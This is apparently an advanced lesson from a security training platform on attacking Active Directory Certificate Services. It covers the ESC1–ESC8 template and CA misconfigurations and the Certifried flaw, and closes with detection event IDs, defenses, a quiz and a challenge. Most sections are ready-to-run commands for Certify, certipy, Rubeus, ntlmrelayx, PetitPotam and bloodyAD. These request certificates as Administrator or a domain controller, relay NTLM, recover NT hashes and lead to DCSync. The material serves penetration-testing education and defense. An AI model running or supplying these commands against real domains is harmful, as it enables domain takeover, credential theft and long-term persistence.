AD Certificate Services Attacks

advanced50 minWriteup

Exploiting ADCS for domain compromise

Learning Objectives

  • Understand AD Certificate Services
  • Find vulnerable certificate templates
  • Exploit ESC vulnerabilities
  • Request certificates as any user

Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation - and it's a goldmine of vulnerabilities. The "Certified Pre-Owned" research by SpecterOps revealed that most AD environments have certificate template misconfigurations enabling domain takeover.

Think of certificates as VIP ID cards. Normally, you can only get a card with your own photo. But misconfigured templates let you get a card with someone else's photo - and that card works everywhere.

Widespread Vulnerability

Certificate attacks (ESC1-ESC8+) affect most AD environments. Unlike traditional attacks, certificates can provide persistence for years and often go undetected.

AD CS Basics

1AD CS Components:
2├── Certificate Authority (CA)
3│ ├── Enterprise CA (integrated with AD)
4│ └── Standalone CA (not AD-integrated)
5├── Certificate Templates
6│ ├── Define certificate properties
7│ └── Who can enroll, what's in cert
8├── Enrollment Services
9│ ├── Web enrollment
10│ └── Certificate enrollment policy
11└── Certificates
12 ├── Used for authentication (smart card logon)
13 ├── Code signing, encryption
14 └── TLS/SSL
15 
16Why certs matter for attacks:
17├── Certificates can authenticate as any user
18├── Valid for template lifetime (often 1+ years)
19├── Survives password resets
20├── Often not monitored/audited
21└── Templates frequently misconfigured

Enumerating AD CS

bash
1606070;"># Certify.exe (most comprehensive)
2Certify.exe find
3Certify.exe find /vulnerable
4Certify.exe find /enrolleeSuppliesSubject
5 
6606070;"># certipy (Python, works from Linux)
7certipy find -u user@corp.local -p password -dc-ip 192.168.1.10
8certipy find -u user@corp.local -p password -vulnerable
9 
10606070;"># Output shows:
11606070;"># - CA names and configurations
12606070;"># - Certificate templates
13606070;"># - Vulnerable templates
14606070;"># - Enrollment rights
15 
16606070;"># PowerShell
17Get-ADObject -LDAPFilter 606070;">#a5d6ff;">"(objectClass=pKIEnrollmentService)" -SearchBase "CN=Configuration,DC=corp,DC=local"
18Get-ADObject -LDAPFilter 606070;">#a5d6ff;">"(objectClass=pKICertificateTemplate)" -SearchBase "CN=Configuration,DC=corp,DC=local"

ESC1 - Misconfigured Certificate Templates

1ESC1 Requirements:
2├── Template allows client authentication (EKU)
3├── ENROLLEE_SUPPLIES_SUBJECT flag enabled
4│ └── Requester specifies Subject Alternative Name (SAN)
5├── Low-privileged user has Enroll rights
6└── Manager approval NOT required
7 
8Attack:
91. Find template with these conditions
102. Request certificate with SAN = Administrator
113. Authenticate as Administrator using certificate
12 
13This is the most common and easiest AD CS attack.

Exploiting ESC1

bash
1606070;"># Certify.exe
2Certify.exe request /ca:CORP-CA /template:VulnerableTemplate \
3 /altname:Administrator
4 
5606070;"># certipy (Linux)
6certipy req -u user@corp.local -p password -ca CORP-CA \
7 -target ca.corp.local -template VulnerableTemplate \
8 -upn administrator@corp.local
9 
10606070;"># You get a .pfx certificate file
11 
12606070;"># Authenticate with certificate
13606070;"># Rubeus
14Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:password /ptt
15 
16606070;"># certipy
17certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
18 
19606070;"># Output: Administrator's NT hash!
20606070;"># Now Pass-the-Hash or request TGT

Certificate = Long-term Persistence

Certificates are valid for years by default. Even if the user changes their password, the certificate still works. Extract Administrator cert = persistent DA access.

ESC2 - Any Purpose EKU

1ESC2: Template with dangerous EKU
2├── Any Purpose EKU (2.5.29.37.0)
3├── OR SubCA EKU
4├── OR No EKU (all purposes)
5└── Combined with enrollment rights
6 
7Attack similar to ESC1 but:
8- Any Purpose = can be used for client auth
9- SubCA = can create subordinate CA (very bad)
10- No EKU = Microsoft treats as all purposes
11 
12606070;"># Find ESC2
13Certify.exe find /vulnerable

ESC3 - Enrollment Agent Abuse

1ESC3: Certificate Request Agent abuse
2├── Template 1: Allows Enrollment Agent certificates
3├── Template 2: Allows enrollment on behalf of others
4├── Combined: Request cert as EA, then enroll for anyone
5 
6Attack flow:
71. Enroll in Certificate Request Agent template
82. Use that to enroll for victim in another template
93. Authenticate as victim
10 
11606070;"># Less common but powerful

ESC4 - Template ACL Abuse

1ESC4: Vulnerable template ACLs
2├── You have write access to certificate template
3├── Can modify template to add ENROLLEE_SUPPLIES_SUBJECT
4├── Then exploit like ESC1
5 
6If you have:
7├── WriteProperty
8├── WriteDacl
9├── WriteOwner
10├── GenericAll
11├── GenericWrite
12└── On certificate template object
13 
14You can modify it to be vulnerable!
powershell
1606070;"># Modify template to enable SAN
2606070;"># Add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT to msPKI-Certificate-Name-Flag
3 
4606070;"># Using ADSI
5$template = [ADSI]606070;">#a5d6ff;">"LDAP://CN=TargetTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
6$template.Put(606070;">#a5d6ff;">"msPKI-Certificate-Name-Flag", 1) # ENROLLEE_SUPPLIES_SUBJECT
7$template.SetInfo()
8 
9606070;"># Now exploit as ESC1

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

1ESC6: CA allows SAN specification
2├── CA configured with EDITF_ATTRIBUTESUBJECTALTNAME2
3├── ANY template can specify SAN in request
4├── Doesn't need ENROLLEE_SUPPLIES_SUBJECT on template
5 
6Check:
7certutil -config 606070;">#a5d6ff;">"CA\CA_NAME" -getreg policy\EditFlags
8 
9If flag is set (value includes 0x40000):
10- Request any template with SAN = target user
11- Get certificate authenticating as that user
bash
1606070;"># Exploit
2certipy req -u user@corp.local -p password -ca CORP-CA \
3 -target ca.corp.local -template User \
4 -upn administrator@corp.local
5 
6606070;"># If ESC6 exists, even normal User template works

ESC7 - CA ACL Abuse

1ESC7: Vulnerable CA permissions
2├── ManageCA right = Manage the CA itself
3├── ManageCertificates right = Issue/deny certificates
4├── Can enable ESC6 if you have ManageCA
5├── Can approve pending requests with ManageCertificates
6 
7Attack with ManageCA:
81. Use ManageCA to enable EDITF_ATTRIBUTESUBJECTALTNAME2
92. CA is now vulnerable to ESC6
103. Request certificate with any SAN
11 
12Attack with ManageCertificates:
131. Find template requiring approval
142. Request certificate with target SAN
153. Approve your own request

ESC8 - NTLM Relay to Web Enrollment

1ESC8: Relay NTLM to certificate web enrollment
2├── CA has web enrollment enabled (http:606070;">//ca/certsrv)
3├── Web enrollment doesn't require HTTPS
4├── NTLM relay attack to request certificate
5 
6Attack flow:
71. Coerce authentication (Petitpotam, Printer Bug)
82. Relay NTLM to CA web enrollment
93. Request certificate as relayed user
104. Use certificate to authenticate
bash
1606070;"># Setup relay
2ntlmrelayx.py -t http:606070;">//ca.corp.local/certsrv/certfnsh.asp \
3 -smb2support --adcs --template DomainController
4 
5606070;"># Trigger authentication (from another terminal)
6python3 Petitpotam.py attacker_ip dc.corp.local
7 
8606070;"># ntlmrelayx will:
9606070;"># 1. Receive DC authentication
10606070;"># 2. Relay to CA web enrollment
11606070;"># 3. Request DC certificate
12606070;"># 4. Save .pfx file
13 
14606070;"># Use certificate
15certipy auth -pfx dc.pfx -dc-ip 192.168.1.10

DC Certificate = Domain Compromise

Getting a DC's certificate means you can authenticate as the DC. From there: DCSync all hashes, create , game over.

CVE-2022-26923 (Certifried)

1Certifried: Machine account certificate abuse
2├── Create machine account
3├── Set dNSHostName to DC's hostname
4├── Request certificate - gets DC's certificate!
5├── Authenticate as DC
6 
7Patched May 2022, but many unpatched environments exist.
bash
1606070;"># Create machine account
2addcomputer.py -computer-name 606070;">#a5d6ff;">'EVIL$' -computer-pass 'EvilPass!' corp.local/user:password
3 
4606070;"># Change dNSHostName
5python3 bloodyAD.py -d corp.local -u user -p password --host dc.corp.local \
6 set object 606070;">#a5d6ff;">'CN=EVIL,CN=Computers,DC=corp,DC=local' dNSHostName -v 'dc.corp.local'
7 
8606070;"># Request certificate
9certipy req -u 606070;">#a5d6ff;">'EVIL$'@corp.local -p 'EvilPass!' -ca CORP-CA \
10 -target ca.corp.local -template Machine
11 
12606070;"># Certificate is for dc.corp.local!
13certipy auth -pfx dc.pfx -dc-ip 192.168.1.10

Detection & Defense

1Detection:
2├── Event ID 4886 - Certificate request
3│ └── Monitor for unusual SANs
4├── Event ID 4887 - Certificate issued
5├── Event ID 4768 - TGT request using certificate
6│ └── Certificate-based auth
7├── Monitor CA web enrollment
8└── Alert on template modifications
9 
10Defense:
11├── Audit all certificate templates
12│ └── Remove ENROLLEE_SUPPLIES_SUBJECT where not needed
13├── Require manager approval for sensitive templates
14├── Remove unnecessary enrollment rights
15├── Disable web enrollment or require HTTPS + EPA
16├── Remove EDITF_ATTRIBUTESUBJECTALTNAME2 from CAs
17├── Patch for Certifried (KB5014754)
18└── Implement certificate-based auth monitoring

Certificate Attack Methodology

AD CS Attack Flow

1
EnumerateFind CAs and templates with Certify/certipy
2
Identify VulnsCheck for ESC1-ESC8 conditions
3
Request CertGet certificate for target user
4
AuthenticateUse certificate for TGT or NT hash
5
PersistCertificate works for years
6
EscalateUse access for DCSync/Golden Ticket

Knowledge Check

Quick Quiz
Question 1 of 3

What makes ESC1 the most common AD CS vulnerability?

Challenges

ESC1 to Domain Admin

Challenge
💀 advanced

Find an ESC1 vulnerable template, request a certificate as Administrator, and use it to authenticate and perform DCSync.

Need a hint? (4 available)

Key Takeaways

  • AD CS misconfigurations affect most environments
  • ESC1 (SAN specification) is most common and easiest
  • Certificates provide long-term persistence
  • ESC8 combines NTLM relay with certificate issuance
  • Use Certify.exe or certipy for enumeration
  • Certificate-based auth survives password changes